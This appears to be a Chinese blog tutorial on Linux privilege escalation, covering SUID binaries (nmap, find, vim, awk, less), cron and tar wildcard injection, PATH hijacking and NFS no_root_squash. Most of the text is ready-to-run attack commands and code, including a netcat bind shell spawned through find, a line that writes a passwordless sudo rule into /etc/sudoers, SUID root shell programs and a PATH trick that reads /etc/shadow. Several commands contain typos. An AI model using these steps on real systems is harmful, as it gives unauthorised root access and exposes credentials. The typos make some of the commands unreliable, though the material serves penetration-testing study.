• Linux提权


    shell分本地shell 和 webshell 有些提权方式只能本地shell使用
    常见内核漏洞查找脚本以及利用
    环境变量提权

    suid

    什么是suid

    SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义。大写S有执行权限。
    例如**/usr/bin/passwd本身是root权限的文件,但用户在修改密码时需要对这个文件进行改写,如果不设置s权限,用户在修改密码时会显示 Authentication token manipulation error 令牌身份出错。**
    在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效.。通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。所以利用此特性,我们可以通过SUID进行提权操作。

    chmod u+s filename   设置SUID位
    chmod u-s filename   去掉SUID设置
    
    • 1
    • 2

    命令利用

    查找系统上运行的所有SUID可执行文件

    find / -perm -4000 -type f -ls
    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {}\;
    
    • 1
    • 2
    • 3
    • 4

    linux中的标准输入输出

    • 0 是标准输入,一般是从键盘获得输入
    • 1 是标准输出,一般是输出到屏幕了
    • 2 是标准错误,有时候屏幕上可以看到,但是重定向的文件中看不到的就是它了
    • >为重定向符号

    >/dev/null 是一个特殊的设备文件,这个文件接收到任何数据都会被丢弃,俗称“黑洞”

    2>/dev/null意思就是把错误输出到“黑洞” ,也就是说如果你的命令出错的话,错误报告直接就删除了。不会显示在屏幕上

    
    -name: 根据文件名查找 区分大小写
    -perm:利用权限进制搜索
    -type:指定文件类型(l:软连接类型;d:文件夹类型;f:文件类型)
    -user: 根据文件属主查询
    -group:根据文件属组查询
    -mtime:根据文件修改时间查找 -n n天以内修改的文件 +n n天以外修改的文件 n 刚好n天修改的文件
    -mmin :同mtime 不过单位是分钟
    -size: 根据文件大小查找 -n小于大小为n的文  +n大于大小为n的文件
    -print:打印输出。 默认的选项,即打印出找到的结果。
    -exec:对搜索到的文件执行特定的操作,固定的格式为:-exec 'commond' {} \;   注意:{} 表示查询的结果。
    -ok:  和 -exec 的功能一样,只是每次操作都会给用户提示。 
    
    举例1: 搜索 /etc 目录下的文件(非目录),文件以 conf 结尾,且大于 10k,然后将其删除。
    find /etc -type f -name '*.conf' -size +10k -exec rm -f {} \;
    举例2: 将 /data/log/ 目录下以 .log 结尾的文件,且更改时间在 7 天以上的删除。
    find /data/log -name '*.log' -mtime +7 -exec rm -f \;
    举例3: 搜索条件同 例1 一样,但是不删除,只是将其复制到 /root/conf 目录下
    find /etc -type f -name '*.conf' -size +10k -exec cp {} /root/conf/ \;
    
    -a:		 与  (默认情况查询条件之间都是 与 的关系)
    -o:		 或
    -not|!:非
    -prune:通常和 -path 一起使用,用于将特定目录排除在搜索条件之外。过滤条件写在其他条件前面。
    "-path ./test -prune -o xxxxxx"
    举例1:查找当前目录下的所有普通文件,但排除 test目录。
    find . -path ./test -prune -o -type f
    举例2:  查找当前目录下所有普通文件,但排除 test目录 和 opt目录。
    find . -path ./test -prune -o -path ./opt -prune -o -type f  
    举例3:  查找当前目录下所有普通文件,但排除 test目录 和 opt目录,但属主为 mama
    find . -path ./test -prune -o -path ./opt -prune -o -type f -a -user mama
    举例4:  前置条件同例三且文件大小必须大于 500字节
    find . -path ./test -prune -o -path ./opt -prune -o -tyep f -a -user mama -a -size +500
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    nmap

    适用版本:nmap2.02至5.21
    在早期nmap版本中,带有交互模式,因而允许用户执行shell命令
    使用如下命令进入nmap交互模式

    nmap --interactive 
    
    • 1

    在nmap交互模式中 通过如下命令提权

    nmap> !sh sh-3.2# whoami root 
    
    • 1

    msf当中也有利用nmap进行提权的模块

    exploit/unix/local/setuid_nmap
    
    • 1
    find

    find用来在系统中查找文件,同时还具有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

    touch anyfile #必须要有这个文件 
    find anyfile -exec whoami \;
    #再通过find反弹root shell
    find anyfile -xexc netcat -lvp 5555 -e /bin/sh \;
    攻击机上使用 nc xx.xx.xx.xx 5555
    
    • 1
    • 2
    • 3
    • 4
    • 5
    vim

    vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

    vim.tiny vim-basic vi 同样使用
    进入vim命令行后 !后面加命令
    
    • 1
    • 2
    Bash
    bash -p 以root身份打开一个bash shell
    
    • 1
    less/more
    !command
    !/bin/sh,进入shell
    
    • 1
    • 2

    注意:more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell

    nano

    古老的文本编辑器

    nano #进入nano编辑器
    Ctrl + R
    Ctrl + X 
    #即可输入命令
    
    • 1
    • 2
    • 3
    • 4
    cp

    使用cp命令覆盖掉原来的文件

    awk

    awk命令进入shell:

    awk 'BEGIN {system("/bin/bash")}'
    
    • 1

    crontab定时任务

    什么是cron

    Cron Jobs可以在服务器端完成一系列计划任务(设定时间自动执行命令等等),一般它主要用于执行系统管理员任务,例如数据备份或清理缓存目录等等。Cron这个词来源于“crontab”,而这个玩意儿存在于/etc目录中。

    比如说,在crontab中,我们添加下列条目来实现每隔一个小时就自动打印出apache的错误日志

    1 0 * * * printf "" > /var/log/apache/error_log
    
    • 1

    一般情况下我们添加计划任务时,都是直接修改/etc/crontab。但是,不建议这样做,/etc/cron.d目录就是为了分项目设置计划任务而创建的。例如增加一项定时的备份任务,我们可以这样处理:在/etc/cron.d目录下新建文件crontabAdd
    所以cron执行时会读取三个地方的配置文件:
    一是/etc/crontab 二是/etc/cron.d目录下的所有文件 三是每个用户的配置文件

    攻击方法

    路径解析

    如果定时任务参数中的command没有指定绝对路径而是使用的相对路径
    系统会默认 /home/user/

    tar通配符注入

    利用条件:目标定时任务中存在tar文件备份相关脚本
    例如:/1 * * * root tar -zcf /var/backups/html.tgz/var/www/html/*
    backup命令:cd /home/undead/script;tar czf /tmp/backup.tar.gz *

    echo'echo "ignite ALL=(root) NOPASSWD;ALL" > /etc/sudoers' >test.sh
    echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh 
    echo "" > "--checkpoint-action=exec=sh test.sh" 
    echo "" > --checkpoint=1
    
    • 1
    • 2
    • 3
    • 4
    https://www.cnblogs.com/manong–/p/8012324.html linux tar相关命令
    可写权限

    利用条件:

    • 管理员给定时任务权限分配不当 使得除了root以外的用户能够重写定时文件 如chmod 777 775等
    • 定时任务定期执行某个脚本 该脚本可写或者可供利用
    #查看当前计划任务 是否可写
    cat /etc/crontab
    ls -al /etc/cron.d 
    
    • 1
    • 2
    • 3

    如果发现定时任务是root所属并且可写,尝试重写定时任务

    #1
    一
    vi rootme.c
    int main(void){
    	setgid(0);
    	setuid(0);
    	execl("/bin/sh","sh",0);
    }
    $echo"chown root:root / tmp / rootme; chmod u + s /tmp/rootme;">/定时任务
    这将更改可执行文件的所有者和组为root。它还将设置SUID位。
    5分钟后,运行了cronjob,并以root特权执行了定时任务。$ ./rootme –生成一个root shell。
    二
    $echo " cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > /定时任务
    
    #2
    如果定时任务是执行某个脚本且可以修改该脚本
    import os
    impotr sys
    try:
    	os.system('chmod u+s /bin/dash')
    except:
    	sys.exit()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    路径环境变量

    例如,如果 C 程序像这样调用系统函数:

    #include
    void main()
    {
    	setuid(0);
    	setgid(0);
    	system("whoami");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    可以使用 PATH 环境变量劫持二进制 whoami,如下所示:

    cd /tmp
    echo "cat /etc/shadow" > whoami
    chmod 777 whoami
    export PATH=/tmp:$PATH
    
    • 1
    • 2
    • 3
    • 4

    NFS

    如果在服务器上具有低特权shell,并且发现服务器中具有NFS共享,则可以使用它来升级特权。但是成功取决于它的配置方式。
    什么是NFS?
    网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。
    NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。
    什么是root_sqaush和no_root_sqaush?
    Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“ nfsnobody ”,它具有最少的本地特权。如果 no__root_squash_ 选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使用“ root_squash ”参数。
    注意:要利用此,no__root_squash_ 选项得开启。
    利用NFS并获取Root Shell
    现在,我们拿到了一个低权限的shell,我们查看“ / etc / exports ”文件,即nfs配置文件。
    / etc / exports 文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。
    这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构成:
    [共享的目录] [主机名或IP(参数,参数)]
    其中参数是可选的,当不指定参数时,nfs将使用默认选项。默认的共享选项是 sync,ro,root_squash,no_delay
    当主机名或IP地址为空时,则代表共享给任意客户机提供服务。
    当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样: [共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)]
    image.png
    我们可以看到**_/ tmp _**文件夹是可共享的,远程用户可以挂载它。
    还有不安全的参数“ rw ”(读,写),“ sync ”和“ no_root_squash
    同样我们也可以使用 showmount命令来查看。

    showmount命令用于查询NFS服务器的相关信息
    # showmount --help
     Usage: showmount [-adehv]
            [--all] [--directories] [--exports]
            [--no-headers] [--help] [--version] [host]
    -a或--all
        以 host:dir 这样的格式来显示客户主机名和挂载点目录。
     -d或--directories
        仅显示被客户挂载的目录名。
     -e或--exports
        显示NFS服务器的输出清单。
     -h或--help
        显示帮助信息。
     -v或--version
        显示版本信。
     --no-headers
        禁止输出描述头部信息。
    
    显示NFS客户端信息
     # showmount
    
    显示指定NFS服务器连接NFS客户端的信息
     # showmount 192.168.1.1  #此ip为nfs服务器的
    
    显示输出目录列表
     # showmount -e
    
    显示指定NFS服务器输出目录列表(也称为共享目录列表)
     # showmount -e 192.168.1.1
    
    显示被挂载的共享目录
     # showmount -d
    
    显示客户端信息和共享目录
     # showmount -a
    
    显示指定NFS服务器的客户端信息和共享目录
    # showmount -a 192.168.1.1
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38

    我们接下来在我们的攻击机上安装客户端工具
    需要执行以下命令,安装nfs-common软件包。apt会自动安装nfs-common、rpcbind等12个软件包

    sudo apt install nfs-common
    apt-get install cifs-utils
    
    • 1
    • 2

    然后输入命令
    showmount -e [IP地址]
    image.png
    创建目录以挂载远程系统。
    mkdir / tmp / test
    在/tmp/test上装载Remote/tmp文件夹:
    mount -o rw,vers = 2 [IP地址]:/ tmp / tmp / test
    image.png
    然后在/tmp/test/中。新建一个c文件。

    #include  
    #include  
    #include  
    #include  
    int main() { setuid(0); system("/bin/bash"); return 0; }
    也可以
    echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/test/suid-shell.c
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    编译:
    gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel
    赋权:
    chmod + s /tmp/test/suid-shell.c
    image.png
    好的,我们回到要提权的服务器上
    cd / tmp ./suid-shell
    image.png
    可以看到是ROOT权限了

    LD_PRELOAD
    某211硕在读,三分之一的白帽子,三分之一的科研er,这里适合想要学习安全的小白师傅,适合致力于挖掘漏洞的师傅,适合安全研究人员师傅,以及想要做安全科研的师傅,想要了解网络空间安全研究生生活的师傅
    在这里插入图片描述

  • 相关阅读:
    推荐20套适合python下django框架的毕业设计毕设课题
    Go语言使用AES加密解密
    ubuntu20.04配置vnc文件xorg.conf后重启输入开机密码后一直循环在登入界面的问题
    滑动窗口练习(一)— 固定窗口最大值问题
    [Ext JS]textfield 添加 compositionstart、compositionupdate 和 compositionend
    剑指-020
    spring cloud kubernetes 本地开发环境搭建
    Pandas高级操作
    js 实现继承
    CentOS7系统搭建web环境 php&nginx&pgsql
  • 原文地址:https://blog.csdn.net/xulei1132562/article/details/132846179